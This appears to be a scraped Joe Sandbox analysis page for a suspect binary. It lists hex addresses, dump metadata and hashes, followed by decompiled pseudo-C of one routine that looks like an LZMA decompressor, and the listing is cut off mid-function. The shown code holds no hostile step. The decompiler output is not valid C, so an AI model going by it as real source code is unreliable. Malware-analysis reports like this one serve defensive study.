0x00000000
0x00406b3b
0x00406b3b
0x00406b3f
0x00407147
0x00407147
0x00000000
0x00407147
0x00406b45
0x00406b45
0x00406b48
0x00406b4b
0x00406b4f
0x00406b52
0x00406b58
0x00406b5a
0x00406b5a
0x00406b5a
0x00406b5d
0x00406b60
0x00406b60
0x00406b66
0x00406b04
0x00406b04
0x00406b07
0x00000000
0x00406b07
0x00406b68
0x00406b68
0x00406b6b
0x00406b6e
0x00406b71
0x00406b74
0x00406b77
0x00406b7a
0x00406b7d
0x00406b80
0x00406b83
0x00406b86
0x00406b9e
0x00406ba1
0x00406ba4
0x00406ba7
0x00406ba7
0x00406baa
0x00406bae
0x00406bb0
0x00406b88
0x00406b88
0x00406b90
0x00406b95
0x00406b97
0x00406b99
0x00406b99
0x00406bb3
0x00406bba
0x00406bbd
0x00000000
0x00406bbf
0x00406bbf
0x00000000
0x00406bbf
0x00000000
0x00406e4c
0x00406e4c
0x00406e50
0x00407177
0x00407177
0x00000000
0x00407177
0x00406e56
0x00406e56
0x00406e59
0x00406e5c
0x00406e60
0x00406e63
0x00406e69
0x00406e6b
0x00406e6b
0x00406e6b
0x00406e6e
0x00000000
0x00000000
0x00406c1c
0x00406c1c
0x00406c1f
0x00000000
0x00000000
0x00406f5b
0x00406f5b
0x00406f5f
0x00406f81
0x00406f81
0x00406f84
0x00406f8e
0x00406f91
0x00406f91
0x00000000
0x00406f91
0x00406f61
0x00406f61
0x00406f64
0x00406f68
0x00406f6b
0x00406f6b
0x00406f6e
0x00000000
0x00000000
0x00407018
0x00407018
0x0040701c
0x0040703a
0x0040703a
0x0040703a
0x0040703a
0x00407041
0x00407048
0x0040704f
0x0040704f
0x00407056
0x00407059
0x00407060
0x00000000
0x00407063
0x0040701e
0x0040701e
0x00407021
0x00407024
0x00407027
0x0040702e
0x00406f72
0x00406f72
0x00406f75
0x00000000
0x00000000
0x00407109
0x00407109
0x0040710c
0x0040700d
0x0040700d
0x0040700d
0x00000000
0x00407013
0x00000000
0x00406d43
0x00406d43
0x00406d45
0x00406d4c
0x00406d4d
0x00406d4f
0x00406d52
0x00000000
0x00000000
0x00000000
0x00000000
0x00407056
0x00407056
0x00407059
0x00407060
0x00000000
0x00407063
0x00000000
0x00000000
0x00000000
0x00406d88
0x00406d88
0x00406d8b
0x00406dc1
0x00406dc1
0x00406ef1
0x00406ef1
0x00406ef1
0x00406ef1
0x00406ef4
0x00406ef4
0x00406ef7
0x00406ef9
0x00407183
0x00407183
0x00000000
0x00407183
0x00406eff
0x00406eff
0x00406f02
0x00000000
0x00000000
0x00406f08
0x00406f08
0x00406f0c
0x00406f0f
0x00406f0f
0x00406f0f
0x00000000
0x00406f0f
0x00406d8d
0x00406d8d
0x00406d8f
0x00406d91
0x00406d93
0x00406d96
0x00406d97
0x00406d99
0x00406d9b
0x00406d9e
0x00406da1
0x00406db7
0x00406db7
0x00406dbc
0x00406df4
0x00406df4
0x00406df8
0x00406e21
0x00406e24
0x00406e26
0x00406e2d
0x00406e30
0x00406e33
0x00406e33
0x00406e38
0x00406e38
0x00406e3a
0x00406e3d
0x00406e44
0x00406e47
0x00406e74
0x00406e74
0x00406e77
0x00406e7a
0x00406eee
0x00406eee
0x00406eee
0x00406eee
0x00000000
0x00406eee
0x00406e7c
0x00406e7c
0x00406e82
0x00406e85
0x00406e88
0x00406e8b
0x00406e8e
0x00406e91
0x00406e94
0x00406e97
0x00406e9a
0x00406e9d
0x00406eb6
0x00406eb8
0x00406ebb
0x00406ebc
0x00406ebf
0x00406ec1
0x00406ec4
0x00406ec6
0x00406ec8
0x00406ecb
0x00406ecd
0x00406ed0
0x00406ed4
0x00406ed6
0x00406ed6
0x00406ed7
0x00406eda
0x00406edd
0x00406e9f
0x00406e9f
0x00406ea7
0x00406eac
0x00406eae
0x00406eb1
0x00406eb1
0x00406ee0
0x00406ee7
0x00406e71
0x00406e71
0x00406e71
0x00406e71
0x00000000
0x00406ee9
0x00406ee9
0x00000000
0x00406ee9
0x00406ee7
0x00406dfa
0x00406dfa
0x00406dfd
0x00406dff
0x00406e02
0x00406e05
0x00406e08
0x00406e0a
0x00406e0d
0x00406e10
0x00406e10
0x00406e13
0x00406e13
0x00406e16
0x00406e1d
0x00406df1
0x00406df1
0x00406df1
0x00406df1
0x00000000
0x00406e1f
0x00406e1f
0x00000000
0x00406e1f
0x00406e1d
0x00406da3
0x00406da3
0x00406da6
0x00406da8
0x00406dab
0x00000000
0x00000000
0x00406b0a
0x00406b0a
0x00406b0e
0x00407153
0x00407153
0x00000000
0x00407153
0x00406b14
0x00406b14
0x00406b17
0x00406b1a
0x00406b1d
0x00406b20
0x00406b23
0x00406b26
0x00406b28
0x00406b2b
0x00406b2e
0x00406b31
0x00406b33
0x00406b33
0x00406b33
0x00000000
0x00000000
0x00406c95
0x00406c95
0x00406c99
0x0040715f
0x0040715f
0x00000000
0x0040715f
0x00406c9f
0x00406c9f
0x00406ca2
0x00406ca5
0x00406ca8
0x00406caa
0x00406caa
0x00406caa
0x00406cad
0x00406cb0
0x00406cb3
0x00406cb6
0x00406cb9
0x00406cbc
0x00406cbd
0x00406cbf
0x00406cbf
0x00406cbf
0x00406cc2
0x00406cc5
0x00406cc8
0x00406ccb
0x00406ccb
0x00406ccb
0x00406cce
0x00406cd0
0x00406cd0
0x00000000
0x00000000
0x00406f12
0x00406f12
0x00406f12
0x00406f16
0x00000000
0x00000000
0x00406f1c
0x00406f1c
0x00406f1f
0x00406f22
0x00406f25
0x00406f27
0x00406f27
0x00406f27
0x00406f2a
0x00406f2d
0x00406f30
0x00406f33
0x00406f36
0x00406f39
0x00406f3a
0x00406f3c
0x00406f3c
0x00406f3c
0x00406f3f
0x00406f42
0x00406f45
0x00406f48
0x00406f4b
0x00406f4f
0x00406f51
0x00406f54
0x00000000
0x00406f56
0x00406f56
0x00406cd3
0x00406cd3
0x00000000
0x00406cd3
0x00406f54
0x00407189
0x00407189
0x00000000
0x00000000
0x004067b8
0x004071c0
0x004071c0
0x00000000
0x004071c0
0x0040700d
0x0040708d
0x00407056

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cc43af0f3dc7360b650843029f4fb37e98cf8e44e9d3f0eb3b9d5ec05d02dde
Instruction ID: 56db4e79aaf5e8580c905796a14d264bc3fb4972df64c765fca97ee639103a5c
Opcode Fuzzy Hash: 8cc43af0f3dc7360b650843029f4fb37e98cf8e44e9d3f0eb3b9d5ec05d02dde
Instruction Fuzzy Hash: 87A15531E04229CBDF28CFA8C8446ADBBB1FF44305F14812ED856BB281C7786A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406F5B Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406F5B() {
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int* _t605;
				void* _t612;

				L0:
				while(1) {
					L0:
					if( *(_t612 - 0x40) != 0) {
						 *(_t612 - 0x84) = 0x13;
						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x4c);
						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
						__ecx =  *(__ebp - 0x58);
						__eax =  *(__ebp - 0x4c) << 4;
						__eax =  *(__ebp - 0x58) + __eax + 4;
						L130:
						 *(__ebp - 0x58) = __eax;
						 *(__ebp - 0x40) = 3;
						L144:
						 *(__ebp - 0x7c) = 0x14;
						L145:
						__eax =  *(__ebp - 0x40);
						 *(__ebp - 0x50) = 1;
						 *(__ebp - 0x48) =  *(__ebp - 0x40);
						L149:
						if( *(__ebp - 0x48) <= 0) {
							__ecx =  *(__ebp - 0x40);
							__ebx =  *(__ebp - 0x50);
							0 = 1;
							__eax = 1 << __cl;
							__ebx =  *(__ebp - 0x50) - (1 << __cl);
							__eax =  *(__ebp - 0x7c);
							 *(__ebp - 0x44) = __ebx;
							while(1) {
								L140:
								 *(_t612 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t612 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M004071C8))) {
										case 0:
											if( *(_t612 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t534 =  *( *(_t612 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t569);
											_push(9);
											_pop(_t570);
											_t608 = _t538 / _t569;
											_t540 = _t538 % _t569 & 0x000000ff;
											asm("cdq");
											_t603 = _t540 % _t570 & 0x000000ff;
											 *(_t612 - 0x3c) = _t603;
											 *(_t612 - 0x1c) = (1 << _t608) - 1;
											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
											_t611 = (0x300 << _t603 + _t608) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
												L10:
												if(_t611 == 0) {
													L12:
													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t611 = _t611 - 1;
													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
												} while (_t611 != 0);
												goto L12;
											}
											if( *(_t612 - 4) != 0) {
												GlobalFree( *(_t612 - 4));
											}
											_t534 = GlobalAlloc("true", 0x600); // executed
											 *(_t612 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 1;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t45 = _t612 - 0x48;
											 *_t45 =  *(_t612 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t612 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t612 - 0x40);
											if(_t546 ==  *(_t612 - 0x74)) {
												L20:
												 *(_t612 - 0x48) = 5;
												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t612 - 0x74) = _t546;
											if( *(_t612 - 8) != 0) {
												GlobalFree( *(_t612 - 8));
											}
											_t534 = GlobalAlloc("true",  *(_t612 - 0x40)); // executed
											 *(_t612 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
											 *(_t612 - 0x84) = 6;
											 *(_t612 - 0x4c) = _t553;
											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 3;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											_t67 = _t612 - 0x70;
											 *_t67 =  &(( *(_t612 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L23:
											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
											if( *(_t612 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t605;
											_t588 = _t531 & 0x0000ffff;
											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
											if( *(_t612 - 0xc) >= _t564) {
												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
												 *(_t612 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												__eflags = _t532;
												 *_t605 = _t532;
											} else {
												 *(_t612 - 0x10) = _t564;
												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
												 *_t605 = (0x800 - _t588 >> 5) + _t531;
											}
											if( *(_t612 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 5;
												goto L170;
											}
											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L139:
											_t533 =  *(_t612 - 0x84);
											goto L140;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L100:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t335 = __ebp - 0x70;
											 *_t335 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t335;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L102;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L110:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t366 = __ebp - 0x70;
											 *_t366 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t366;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L112;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											L132:
